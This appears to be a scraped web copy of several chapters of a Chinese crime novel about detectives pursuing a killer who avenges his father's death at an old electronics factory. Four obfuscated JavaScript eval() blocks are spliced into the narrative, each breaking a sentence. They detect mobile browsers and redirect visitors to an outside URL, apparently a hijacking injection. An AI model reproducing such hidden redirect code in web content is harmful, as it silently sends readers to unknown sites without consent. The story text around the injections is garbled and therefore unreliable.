“嗯,”陆闻将记录本合上,而后站起身说了句,“那大家就先去忙吧。额……齐况,你跟我出去下。” “好。” 两人出了分局没一会儿,齐况就意识到他们走的路有些熟悉:“陆队,我们要去池氏吗?” 陆闻此刻正聚精会神地盯着前方:“毕竟那是池家的厂,28年前到底发生过什么,他们那儿的老人儿肯定比我们清楚。” 齐况点点头,却有些心不在焉:“陆队,关于模仿作案……” 闻言,陆闻不可觉察地皱了皱眉,抽着空的朝齐况那边看了一眼:“你也觉得这案的作案人,和之前四起不是同一个?” “不是,我是觉得,有没有可能之后的四起案件,才是模仿作案呢?” 路口的交通指示灯在随着数字的减少变换了颜色,陆闻踩下刹车停稳之后,才终于能集中注意力和旁边的人交谈:“你的意思是,作案人可能会和首案之间牵连最大?” 见齐况点头,陆闻有些恍惚。 因为他去见秦于宸的时候,秦队也和他提到了模仿作案这个细节。 没错,虽然之前他没想过这种可能,但如果能按照这种假设来进行推论的话,好像也说得过去,且一下就可以将案件的范围缩小。 想到这里,他的脑内突然有一个强烈的念头:“弄清首案,这会是整起案件的关键。” 可问题是,整起案件历经了28年之久,先别说那时齐况还没出生,就连陆闻也才只有几岁而已。 所以对于这些案件,他们也只能从案卷上了解到,如果去了池氏还没有什么结果,那暂时可能就没什么方向了。 池氏电子科技公司,陆闻走到大厅前台的位置,向对面身穿制服的职员出示了警察工作证—— “你好,我们是城东分局的警察,你们池总在吗?” “您好,在的。”那名女职员朝陆闻露出了标准的微笑,“不过我需要先联系一下池总那边,请稍等。” 不到一分钟的时间,那名女职员就走出来为陆闻两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985478|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领路:“您好,两位请往这边走。” 这是陆闻和齐况第二次来到池万笙的办公室。由女职员敲响并推开办公室的大门后,陆闻首先抬步走了进去:“池总,好久不见。” 正低头研究方案的池万笙听见声音,便将目光移向了来人:“陆警官,你好,没想到我们又见面了。请坐。” 陆闻点头示意齐况先坐,然后自己才在他旁边坐下:“池总,我们这次过来呢,是希望你能协助我们调查一个案子。” 闻言,池万笙只停顿不过一秒,随后扶了扶脸上那副金丝细框眼镜:“当然可以,陆警官请说。” “是这样的,”陆闻紧盯着眼前的人,他似乎是想看清隐藏在那副镜片之后,属于池万笙此刻真正的情绪,“不知道池总还记不记得,池氏在新淮路的那座工厂?” “当然记得,不过后来新工厂建成之后,那座老工厂也就逐渐废弃不用了。” 陆闻本以为池万笙接下来会问出他们此行的目的,却不想只答出这么一句话后,他就没了下文。 一阵沉寂之后,陆闻从随身携带的记录本上移开目光,将注意力转向了池万笙那边:“那池总知不知道,最近在那座废弃工厂发生了命案?” 闻言,池万笙低头浅浅地笑了一下:“陆警官,那座工厂我们池氏已经很多年没有用过了,就算出了命案,和我们池氏也没什么关系吧?” “池总误会,我们想问的自然不是最近的案件,而是发生在二十多年前的另一起案件。那时候的池总,应该还是您的父亲。” 见池万笙罕见地露出有些疑惑的表情,陆闻倒也不再拐弯抹角,而是直接说出此行的目的:“我想池总这公司里,现在应该还有当时在新淮路工厂工作过的员工吧?” “我们希望能从那边了解到当时案件的一个详细过程。啊还有,关于新淮路工厂之前的人员入职名单,如果这边还保存完好的话,也希望池总能暂借给我们分局,作为侦查案件的线索。” “如果陆警官需要,我稍后会让我的助理去档案室找出来,送去城东分局。” “嗯好,感谢池总的配合。”陆闻将记录本合上,而后眼神示意了旁边的齐况,“那我们就先不打扰了。” 池万笙也站起身,他没挪动起步子,只站在原处稍稍点头,然后就目送着陆闻和齐况两人离开这里。 两人并肩离开办公室之后,池万笙就拿起手机,走到落地窗前,不知给谁拨了一通电话:“喂,帮我查查二十多年前,发生在新淮路电子工厂的案件。” 从池氏大厦里出来之后,坐在车里的陆闻却并没有着急走:“第五起案件的受害者家属能联系上吗?” “听一然说,受害者早些年和妻子离婚之后,两人就再没有过联系,受害者也一直是独居。” “可现在能掌握的信息还是太少……” 陆闻若有所思地皱起眉头,随后自顾自地嘀咕了一句:“明天还是得去他家附近看看。” 23. 狩猎 “一然,齐况还没来吗?” 警员办公室里,陆闻抬手看了眼腕表上的时间。距离他昨天和齐况约定的时间,已经过去了半个小时左右,可齐况始终没有出现。 他平时可不是这样的。 林一然摇摇头,边拿起手机边说道:“不如打个电话问问吧。” 电话不知呼出了多长时间,那边却没人接听,林一然朝陆闻看过去,随后将电话挂断:“陆队,没人接。” 陆闻没答话,不知道为什么,此刻他有种不好的预感。 “我去齐况家看看。”只扔下这一句之后,陆闻就转身快速地跑出了城东分局。 因为经常让齐况搭顺风车,所以对于他家的住址,陆闻还是知道的。从电梯上到齐况家所在的楼层之后,他连续按了好几下门铃,可惜都无人应。 陆闻只好又原路返回。 “喂一然,联系技术人员马上定位到齐况的位置,稍后我会把南悦小区6号楼附近的监控数据发给你,立刻查看排查可疑人员。” 陆闻说着,抽出空低头看了眼手表上的时间:“时间是在昨天晚上10点之后,到今早的8点49分。” 回到队里之后,陆闻才想起手里还有个棘手的案子正等待处理。 虽然同事的生命安全很重要,可这起案件不能再拖延,因为晚一秒侦破案件,就是给真凶多一秒的藏匿时间。 “一然苏乐,”陆闻看向对面,同样面色凝重的两人。 良久,他才继续开口道:“723案你们俩暂时不用管,稍后我会再找两个人加入专案组,你们现在的主要任务就是要找到齐况,需要人手随时和我说。” “收到陆队。” “好,分头开始工作吧。” 安排好后续的工作之后,陆闻在刚成立的专案小组里找了一名警员,让他跟着自己一起去到第五案受害者的住所附近,进行调查走访。 一天的时间转瞬即逝,晚上陆闻召集大家参加了专案小组的讨论,其中还包括林一然和苏乐两人。 “针对723案,我们现在有了新的进展。”陆闻站在会议桌前,用遥控控制着旁边的移动电视。 “723案的受害者田玉清,58岁男性。据了解,其在2012年与其妻子张心莲办理了离婚手续,在这之后,张心莲就带着子女去了国外生活,而田玉清则是一直处于独居状态。” “田玉清年轻时,是在新淮路的电子工厂工作,而且没成家前,也是在工厂附近的员工宿舍居住。更巧的是,其同住一间的室友,全部都是这28年间连环案的受害者。” “在1992年,因为其宿舍发生了命案,几人作为嫌疑人接受过调查,后来却因为某些原因不了了,不过之后除1992年案的受害者,其余四人全部被辞退。” “回到家之后的田玉清,以经营水果摊为生,据附近的商贩反映,田玉清平时很好说话,也从来没有因为顾客讨价还价发生过冲突,所以与人结仇的可能性不大。” “在这里我合理推测,田玉清等四人与1992年案有一定的关系,且后面发生的一系列案件,也都围绕着1992年案的受害者——李志国。” 陆闻扫视了一圈对面或记录或思索的警员,调整了个姿势继续道:“至于1992年案的详细过程,还需要等明天池氏的员工过来,做了询问笔录之后我们才会知道。” “就先这样,那么去到其他地方走访调查过的人,有线索可以上来继续补充。” 言罢,陆闻便带着自己的记录本让出位置,坐在了林一然旁边的座位上。 待到所有人补充线索完毕后,陆闻留住了林一然和苏乐两人,开始询问起关于齐况的情况。 在齐况失踪的这段时间,他们确实根据定位找到了齐况的手机。 可惜的是,林一然和苏乐两人跟着定位到达目的地后,竟然只是在一家咖啡厅附近的垃圾桶缝隙里,发现了那只已经碎屏的手机。 至于南悦小区6号楼附近的监控,除了昨晚10点半后,有齐况独自一人提着东西进去之外,他们并没有在画面里发现其他的可疑人员。 就连今早9点之前的监控里,除了去寻找齐况的陆闻之外,他们也没看到齐况出门的身影。 可这么大个人又怎会凭空消失? “我知道了。”陆闻面色凝重地点了点头,“今天也挺晚了,你们该下班的,就先下班回去休息吧。” “嗯,陆队你也是。” 目送着林一然和苏乐两人离开后,陆闻却没有因此静下心来。 他去到办公室里,又仔细将南悦小区的监控查看一遍后,才突然想起带走齐况的人,当时走的是地下车库也说不定呢。 与此同时,城东区东部海边的某栋废弃大楼内。 齐况有些费力地抬起眼帘。 因为长时间保持一个姿势,他的两只手臂已经有些麻木,可手腕处的疼痛,却让他怎么也使不上力去调整。 他忽地回想起来,那天晚上他在仔细梳理完所有案件的线索后,终于将目标锁定在了一个人身上,可惜还没等他打电话和陆闻分享这个消息,就突然失去了意识。 “醒了?” 正对面突然传来的低沉嗓音,打断了齐况的思绪,虽只有两个字,却还是让他脑内的那根弦,在下一秒紧绷起来。 他稍稍抬起头看过去,一张带着面具的脸便出现在眼前——那种路边最常见的面具。 他没说话,只脱了力似的又垂下头。可在那脸上的每一处淤青和伤口,无不在表示着他此刻的处境有多危险。 “齐况。” 面具男起身往前走出几步,而后居高临下地盯着躺在地上动弹不得的齐况:“齐警官,听着多威风啊。可现在,却只能被我给踩在脚下!” 话音还未落,面具男便抬起脚踩住齐况的脑袋,随后还发泄似的用鞋底捻了几下:“说话啊!向我求饶,求我放过你啊!” 齐况没出声,只是紧闭双眼接受着所有的暴力。而在发泄完自己的怒气之后,面具男也觉得无趣,便蹲下身抓住齐况的头发,强迫他看向自己。 “不说话,你是不是觉得自己忍忍就能过去?我告诉你,只要陆闻一天找不到这里,你就一天别想好过!” 面具男的声音越来越重,或许是说到激动之处,情绪再度失控的他猛地用力,将齐况的脑袋又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985479|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠地摔在了地上。 在快要失去意识的最后几秒里,齐况好像隐约看到,那个蜷缩在角落里的,一个小小的身体。 那是个只有七八岁的孩童。 孩童把脑袋深深埋在膝盖里,双手正紧紧地抱住自己。突然,另一个高大的身影挡在他面前,伸出手揪住了他的头发—— “蠢货!你个没用的东西,和你那个妈一样没用!去死,给我去死!” 数不清的巴掌和骂声像刀一样打在孩童的身上和心上,可他却一声不吭地,死死盯住不远处躺在地上的那个女人。 原来,不管时间过去多久,也不管他曾多努力的去学着忘记,那段记忆,总能毫不费力地揭开他心底那块丑恶的疤。 看着再一次陷入昏迷的齐况,面具男松了一口气,他叉着腰在旁边转了几圈,而后又走到刚才的位置坐下。 他从口袋里掏出手机,随后滑动屏幕,找到了一个号码:“喂,人我已经抓到了。” 由于长时间未进食物和水,齐况再次醒来的第一时间,就是闻到了距离自己不远的食物的香味。 大概是察觉到躺在地上的人动弹了几下,面具男立刻朝齐况的方向看过去,而后拿起饭盒走到他面前蹲下:“你最好给我乖乖吃干净,我可不希望你死的太快,那样多没意思。” 良久,齐况的嘴唇动了动,有气无力地喊出一个名字:“李天明……” 尽管齐况的声音不大,可蹲在他面前的面具男在听到这个名字后,还是不可觉察地愣怔了几秒。 “有意思。” 面具男站起身,忽地笑出声来:“没想到啊,这么快就被你给猜出来了。不过也正常吧,毕竟在八年前,你就遇到过我一次。” 齐况没立刻答话,只是将眼睛闭上不再看他:“我知道你父亲的死对你的打击很大,可你杀了这么多人……” “杀了这么多人又怎样?!”李天明低吼一声,随后便近似癫狂地咆哮起来,“那是他们活该,他们杀了人就该偿命!” “我恨不能将他们千刀万剐,可我要用同样的方式惩罚他们,因为只有这样,才能安慰我爸的在天之灵。” “李志国的案子可以交给法律,他们会还你一个公道,而如今你杀了这么多人,总有一天会受到法律的制裁。” “公道?”李天明眉头一挑,而后转动眼珠,将目光移到了齐况身上,“你跟我说公道?要是真有公道,早在28年前,那几个人就该会受到应有的惩罚!” “可真实的情况是,受害者家人的生活一度陷入黑暗,而害人的真凶却仍在逍遥法外!你跟我说公道?” 李天明摇摇头,身形不稳地往后退了几步:“我不妨告诉你,弄死田玉清之后,我也没打算活了。我只是想看看,你们城东分局的警察,到底有多少能耐。” 闻言,齐况突然有种不好的预感:“什么意思?” “没什么意思,只是藏了这么多年,我都有些厌倦了。” 李天明蹲下身,齐况从他的眼睛里,看到了不加掩饰的阴狠:“所以,我想在最后再玩儿个游戏,不过,这场游戏还缺几个人。” “齐况,你来陪我玩儿吧。” 24. 狩猎 “陆队,在对南悦小区住户车辆的排查之后,我发现有一辆车并不属于那里,而且他的出入时间与齐哥的失踪时间很接近。” 言罢,苏乐将在监控画面中截取到的车辆信息展示给陆闻:“这辆白色轿车是在27号晚的11点38分从小区外面行驶到车库,而后在28号凌晨的2点17分又从车库驶出小区。不过驾驶员戴了口罩和帽子,我们没办法截到他的正面照。” “车辆往哪边行驶了?” “分别在新淮路、临溪路和翠微路的路口监控里,都发现有这辆白色轿车的踪迹。”说到这儿时,苏乐停顿了几秒,“陆队,我觉得驾驶员可能是在绕圈子。” “有这个可能。”陆闻若有所思地点点头,“对了,在车辆上有发现齐况吗?” “没有,不过如果齐哥真的在这辆车上,我猜测他可能是在后座或者后备箱里。” “带着齐况这么大个人,想要不引起怀疑,车是最好的选择……”陆闻双手紧扣抵住下巴,似是在思考接下来的行动,“苏乐,你和一然继续追踪这辆车的位置,有什么情况及时汇报。” “好的陆队。” 抽空和苏乐交换完线索之后,陆闻又带着专案组的其他组员,去到了李志国从前住所的附近进行走访调查。 之前池氏的一名老员工在接受询问的时候,也曾提到李志国在去世之前,已经和妻子育有一儿,就住在民南区万象路附近的街道里面。 不过可惜的是,李志国的妻子有些残疾,在李志国去世之后,家里就断了经济来源,而之前因为看病欠下的债务也没能还清。 所幸后来池氏赔偿了些许费用,母子俩才能在还清债务后勉强度日。 李志国的妻子,或许会是整起连环案的突破口。 陆闻按着手机上的地址走进一条小巷,而在那条小巷的尽头,孤独地立着一扇被岁月侵蚀的木门。 “小薛,去敲门。” 手指轻敲在木门上的声音,在空荡的小巷里显得尤为突兀,像是要打破那份独属于这里的寂静。 给两人开门的,是位满头白发的老婆婆,身形有些佝偻的她往门外望过去,眼神却有些空洞:“谁呀?” “您好,我们是城东分局的警察,过来了解些情况。” “警察?”老婆婆突然有些慌乱,抬起手摸索着就要往外走,“是不是我儿子出什么事儿了?” 陆闻连忙扶住她的胳膊:“阿姨您不用着急,我们这次过来,只是因为别的案子想找您聊聊天。” “哦……没人犯事儿对吧?”老婆婆这才稍微安下些心来,“好好好,那就先进来吧。” 首先映入眼帘的,是一个不大不小的院子。陆闻四处打量着周围的异样,可惜并没有发现什么可疑之处。 几人在院子里坐下,随行的警员负责记录,而陆闻,则向老婆婆聊起了之前的事情:“阿姨,您的丈夫之前是在电子工厂工作吗?” 老婆婆点点头:“是啊,他从前是在新淮路那边的工厂上班的。不过后来说是偷了里面的东西,被人发现之后嫌丢脸,半夜写了封遗书就走了。” 老婆婆说这话时的语气很轻松,仿佛讨论的只是个无关紧要的人,可陆闻却还是察觉到她此刻眼神里的悲伤与凄凉。 或许这么多年过后,连她都说服了自己,当初那个温柔腼腆的男孩儿,是因为这种事情而永远地离开了她。 “那您知道田玉清吗?” “田玉清……”听到这个名字,好像有段尘封已久的回忆,猛地从老婆婆的脑海里涌现出来。 是的,田玉清。 许明华还记得,那是在去工厂里探望她的丈夫之后,因为一次偶然,她被一个叫田玉清的男人纠缠。 即使她后来有意避开,久而久之却还是被李志国知道了这件事。那天在员工宿舍里,被怒气压过理智的李志国,狠狠地揍了田玉清一顿。 而被所有人围观嘲笑受到屈辱的田玉清,自然不会就此罢休,他要让李志国为今日的行为付出代价。 后来,田玉清借着自己和当时的工厂负责人有些关系,就联合同宿舍其他几人控告李志国偷了厂里的东西。 毫不意外的,李志国被辞退了。 没有人能想到,因偷盗被辞退之后的李志国并没有离开,而是选择永远地留在了这里。 工厂发生命案之后,警方立刻介入参与调查。 可那时候池氏的生意正在风头上,一点儿差错都不能有,再加上那封遗书确实是李志国的字体,最后只是不了了之,以自杀结案。 那时候的许明华只觉得天都要塌下来了,可她并没有因此被击垮,她知道自己还有个儿子,他不能再失去母亲。 可命运弄人,许明华因为眼盲,一直都找不到工作。没有工作就没有经济来源,而赔偿费在还清债务之后,所剩无几。 那时候,李天明只有十岁。 “小薛,查查这个叫李天明的人。”从许明华家出来之后,陆闻对身旁随行的警员如是说。 如果当年的案件真的另有隐情的话,陆闻想,这足够在一个年幼的孩子心里,埋下一枚罪恶的种子。 以父亲最后的死亡方式,惩戒当时参与了这场暴力的人。 而田玉清身体上多出的那28刀,则是这二十八年来,李天明对他们家庭幸福的破坏者所有的仇恨。 “苏乐一然,”一回到队里,陆闻便将李天明的照片,放在了苏乐和林一然的面前,“这人叫李天明,很有可能是723案的作案人,而且我怀疑,齐况现在就和他在一起。” “陆队,有电话找你。”几人正说着,之前和陆闻一起出任务的警员小薛,突然跑进来打断了几人的谈话。 “找我?”陆闻微一皱眉,心里虽觉得有些奇怪,却还是拿起电话接听,“喂你好。” “陆警官,你再找不到这里,可就永远也见不到齐况了。” 闻言,陆闻脸色一变,语气也不受控制地激动起来:“你说什么?齐况在哪儿,你是不是李天明?” 虽然早已预料到陆闻的反应,李天明还是忍不住狂笑起来:“如果想救他,就来观海路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985480|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的废弃大楼,我等你。” “李天明……”陆闻话还没说完,那边的人便挂断了电话。 一旁的林一然没忍住问道:“陆队,是李天明?” “嗯。”陆闻点点头,脸色阴沉的可怕,“苏乐,调出观海路的监控,随时监视到那辆白色轿车的动向。一然和专案组的其他同事,跟我去观海路对李天明进行抓捕,救出齐况。” “收到陆队。” 从城东分局到观海路有一段距离,为避免李天明会有其他动作,苏乐负责随时向他们汇报那里的情况。 果不其然,在他们出队不到十分钟的时间,对讲机那边传来了苏乐的声音:“陆队,目标车辆正从观海路往翠微路的方向驶去。” “有几个人?” “只看见李天明一个人。” “收到。” 陆闻将对讲机别在左胸前,正准备改变行驶方向的时候,旁边的手机却在此时振动起来。 他下意识地瞥了一眼,却看见屏幕上显示的是一串陌生号码。 脑内突然冒出一个想法,陆闻腾出手按下接听键后,里面果然传来了李天明的声音—— “陆警官,我猜你现在一定在来的路上吧?先说好,齐况我可没带走,是继续抓捕我,还是去救齐况,陆警官你可要好好抉择啊。” “李天明,我劝你立刻去公安局自首,你母亲不会想看到自己的孩子这样的。” 那边的人没答话,就在陆闻以为电话已经被李天明给挂断时,耳边突然又传来这么一句:“陆警官,还是管好自己吧。” 电话被挂断后,陆闻来不及多想,而是用对讲机呼叫了另一边:“一然,能听到吗?” “能听到陆队。” “嗯。李天明联系我说没带齐况离开,不过我觉得没那么简单,所以现在由你们继续追捕李天明,我去废弃大楼找齐况。” “陆队,还是由我去救齐况吧,废弃大楼那边可能有诈,万一李天明借此逃走,我们可就没有机会了。” “不行,李天明引人去废弃大楼,说明那里可能会有危险,如果齐况不在那里,我会继续返回追捕李天明。” “陆队,还是让我去吧。你是我们的队长,万一真的遇到危险,接下来的工作很难继续展开。” 陆闻没立刻回复。 对于李天明的话,他暂时没办法确定其真实性,如果齐况真的还在大楼里,或许在下一秒他就会有遇到危险的可能。 可是如果齐况不在废弃大楼,且李天明已经在那里设下埋伏,那么此行必定危险。 可李天明那边究竟是何意图,陆闻现在还没办法推测出来,要是因此错过最佳抓捕机会…… “陆队,陆队还在听吗?”林一然的声音将陆闻的思绪拉回,“我请求去观海路废弃大楼。” “现在有几个人和你在一起?” “三人,柏柏庄哥,还有小李哥。” “好,那你们几个一起去废弃大楼。记住,一定要小心,有情况随时汇报。” “收到陆队。” 25. 狩猎 林一然的声音消失在对讲机那边,陆闻深呼一口气,试图将那股没来由的不安从心底驱逐出去。 藏匿了二十年左右的李天明,如今正是逮捕他的最好时机,陆闻知道,现在他们绝不能出任何差错。 在路口转弯后,进入翠微路的陆闻使用对讲机,向正在分局监视着李天明车辆的苏乐进行呼叫:“苏乐,我现在已经进入翠微路,目标车辆的动向如何?” “目标车辆正位于翠微路西段,即将到达翠微路十字路口。” “目标车辆右拐进入新淮路。” “目标车辆经过新淮路南段路口。” “陆队,”良久,对讲机那边又传来苏乐的声音,她停顿了几秒,继而才道,“新淮路北段路口,并未发现目标车辆。” 闻言,陆闻握住方向盘的手指紧了紧,这么说李天明是在半路停下了? 新淮路那边纵横交错的深巷很多,并且极少有公共监控,要是在那里躲避,恐怕要增加人手进行大范围的搜寻才行。 除非…… 新淮路老电子厂,这场恶行的根源地,也将成为闹剧落幕的终点站。李天明以李志国的死亡方式进行模仿犯罪,说不定也会选择在那里结束这一切。 在心里确定了目的地之后,陆闻用对讲机向随行的警员发出通知,立刻前往废弃工厂并进行搜查。 而他则是带着两名警员,去了距离废弃工厂只有一路之隔的老员工宿舍。 “陆队,紧急情况!” 就在陆闻刚把车停稳的时候,手边的对讲机突然传来苏乐的声音:“陆队,我们之前在案发现场安装过一个监控,监控那边显示,李天明带着齐况,正在往老员工宿舍里面进去。” “齐况?” 闻言,陆闻的眉心一跳,强烈的不安感逐渐在心底扩散开来,既然齐况和李天明在一起,那他为什么要说谎呢? “苏乐,立刻联系林一然那边,有情况立刻汇报!” “收到陆队。” 老宿舍楼总共四层,每层以楼梯分隔之后,左右各分布六个房间,几人到达楼下时,陆闻示意其他两人暂时分开行动,仔细搜查每一层的情况。 因为年久失修,走廊里满是灰尘垃圾和碎裂的玻璃片,不过好在这里的房间在之前都已经锁好,所以搜查起来也大大地节约了时间。 陆闻到达四楼的时候,只见其他两人已经在楼梯处汇合等待。他没说话,只是抬起手做了几个手势,而后几人一齐将目光转向前面通往天台的台阶上。 陆闻又抬起手向两人示意之后,便缓缓将手握在腰间的枪套上,首先抬步贴墙走上前,而其余两人也随后跟上。 眼看着天台门在自己眼前逐渐放大,陆闻脑内的那根弦也绷的越来越紧。 他靠在天台门的一侧,抬起手向面前的人打着手势。见两人点头确认之后,他才举起枪转身跨出天台门,而其余两人始终持枪护在他左右。 陆闻警惕地朝四周环视一圈,却在下一瞬,看到了昏迷中被绑在天台边上的齐况,和站在他身旁的李天明。 见状,陆闻握住枪的手指紧了紧,一字一句地开口道:“李天明。” 李天明却一副轻松的样子,似乎丝毫不惧对面举起枪正对着自己的警察:“陆警官,终于见到你了。” “李天明,你已经被包围了,我劝你放弃抵抗,立刻放了我们的人。” “陆警官,你先别那么着急嘛。” 李天明朝前走了几步,手里摇晃着一只类似于遥控器的东西:“我还想,和陆警官你玩儿个游戏呢。” 陆闻眉头一皱,知道李天明的话没有那么简单:“什么?” 李天明没理会陆闻的反应,他瞥了一眼身后的齐况,而后朝陆闻举起手中的遥控器:“这是控制那边绳索的遥控器,一旦按下按钮挂钩弹开,齐况就会从这里掉下……” “你敢!”李天明话音还未落,陆闻便厉声打断他接下来的话,“故意伤害致其死亡,法院首先就可以判你是故意杀人罪!” “故意杀人……我杀了这么多人,还在乎这一个吗,啊?” 李天明笑的狂妄,可陆闻却不能掉以轻心。毕竟齐况正处于无意识当中,且控制器还在李天明的手里,如果在此时激怒他,齐况说不定会有危险。 “李天明,我知道你父亲的死对你造成的伤害很大,可是以不正确的方式去处理事情,你就从一个受害者变成了施暴者。” “你确实藏匿了二十年左右,可是李天明,在法律面前不管多久,你终将要为自己的行为付出代价,即使你是在反抗当时的不公。” 李天明咧开嘴,有些嘲讽地笑了笑:“你们这些警察,是不是都只会把这些正义的话挂在嘴边啊?” “陆闻,你不是我,也没经历过我的人生,你知道失去亲人,每天在黑暗里生活的痛苦吗?” “确实,我是没办法理解你的心情,可如果每件事,都需要我和凶手感同身受,那我也不用当警察了。” “哈!”李天明倒没想到陆闻给自己的,会是这样的回答。他点点头,往后退了几步,“不愧是陆警官啊。” “好,既然陆警官都这么说了,那我也就不拐弯抹角了。”话音刚落,李天明已经退回到天台边上,“在你们后面的那堆箱子里,还藏着一枚炸药。” 闻言,陆闻把手移到别在胸前的对讲机上,下一秒,却被李天明给出言制止道:“陆警官,我劝你最好不要白费力气了,如果你现在叫人过来的话,我会立刻按下按钮,那么我们就都完了。” “李天明,你到底想干什么?” “没什么,只是想让陆警官做个选择罢了。”李天明背靠在天台边的栏杆上,神色悠然地盯着对面保持高度警惕的几人。 “距离炸药爆炸大概还有二十分钟,所以陆警官你还有二十分钟的时间做选择,按下按钮齐况掉下去,不过炸药上的计时会立刻停止。” “相反,如果陆警官选择救齐况,那么除了他之外的我们,就都会被炸死。” “陆警官,你的选择会是什么呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985481|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆闻没有立刻答话,视线也不曾移动半分。他紧紧盯着李天明的方向,凛冽的目光仿佛要透过他的身体,看穿这里的一切。 良久,陆闻举起枪的手,不自觉地握紧了,他紧抿着嘴唇,似乎是在做很艰难的选择:“我选……” 闻言,李天明的表情变得有些期待起来。 可就在下一秒,就在陆闻快要说出自己的选择时,一颗子弹自李天明身后飞出,径直从他的肩膀处穿过。 被击中的李天明下意识地握紧手指,而齐况吊在那里的机关自然也被触发,上方扣住绳索的弯钩弹开之后,齐况果然垂直掉了下去。 “齐况——!” 陆闻三步做两步地飞奔过去,可伸出手抓住的只不过是一团空气。 在陆闻身旁的两名警员,见李天明暂时失去反抗能力,第一时间将他压制在地上,而后迅速掏出手铐将其铐住:“别动!” “陆警官,先下去吧。” “嗯。”陆闻看着楼下聚集在一起的警员,他开始还狂跳不止的心脏,此刻终于平缓下来,“下去吧。” 虽说他早知道楼下已经做好了安全措施,可就在齐况掉下去的那一刻,他的心还是跟着咯噔了一下。 陆闻下去的时候,齐况已经被送去了医院,而李天明则是被控制在车上,陆闻走过去的时候,他肩膀处的衣料已经被鲜血浸染。 虽然当时位于对面电子厂天台上的狙击手,在开枪前已经避免击中要害,可难免后面不会有突发状况。 “把人送回分局吧,记得先给他处理下伤口。” 眼看着几辆警车先后出发,陆闻那颗悬在心里的石头终于落了下来。 他深呼一口气,转身正准备上车的时候,别在胸前的对讲机里,突然传来了苏乐的声音—— “陆队,陆队。” “苏乐,还有什么事吗?” “陆队,”对讲机那边的声音带着些呜咽,“一然他,他在执行任务的时候,牺牲了。” “什么?!” 陆闻不知道自己是怎么开车回的队里,只知道自己飞奔到楼上的时候,其他警员还因为忙着其他事情没赶回来,偌大的办公室里,只有苏乐一个人坐在工位上。 “陆队。” 陆闻的手抖个不停,开口时,声音也不由自主地发着颤:“发生什么事了,到底发生什么事了?一然他和我分开的时候,不是都还好好的吗,怎么会……” 陆闻的嘴唇动了动,始终没能说出那两个字。 可就在这时,他才突然想起刚才在车上,林一然主动要求去观海路废弃大楼寻找齐况,也就是说,可能就是在那个时候…… 苏乐的眼眶有些湿润,可再开口时的声音,却比刚才冷静了许多:“李天明事先在观海路废弃大楼安放了炸药,他说齐况还在那里就是要引人过去,我们中了他的圈套。” 果然,如陆闻猜的一样。 “一然他,现在在哪里?” “已经送到了韩法医那边。” 26. 狩猎 法医鉴定中心的工作室里,陆闻和苏乐一前一后走进去时,韩唐正在和法医助理记录尸体检验的结果。 这间法医工作室,陆闻在办案期间不知进出过多少次,可只有这一次,在看到躺在工作台上的人时,他竟怎么也抬不起腿再往前迈出一步。 在看清进来的人是谁之后,韩唐将文件夹合上,递给了旁边的法医助理手里:“陆队。” “嗯。”陆闻点点头,抬步走到工作台前,却始终没敢看躺在那里的人一眼,“怎,怎么样了?” “尸体表面有灼烧痕迹,鼻腔和口腔内发现有大量的烟尘,”说着,韩唐伸手拨开林一然额前的碎发,“在他的额头右侧有一处击打伤,我猜测是爆炸后现场的木板掉落将其击中致昏迷,他才没来得及逃离现场。” “嗯。”陆闻轻轻应了一声,之后再没有人说话,周围突然变得有些安静。 良久,苏乐那边的手机振动起来,在短暂接听之后她有些犹豫,却还是小声地开了口:“陆队,李天明已经处理好伤口,现在被带回队里了。” “好,”陆闻点点头,或许是因为接下来不用再面对林一然冰冷的尸体,他竟有种如释重负的感觉,“我们走。” 从法医鉴定中心到刑侦大队的审讯室,陆闻和苏乐坐在审讯台前,紧盯着对面戴上手铐的李天明。 或许是因为自己面前坐着的,正是害死林一然的凶手,陆闻开口时的语气冷的有些可怕—— “你在观海路废弃大楼里放了炸药?” 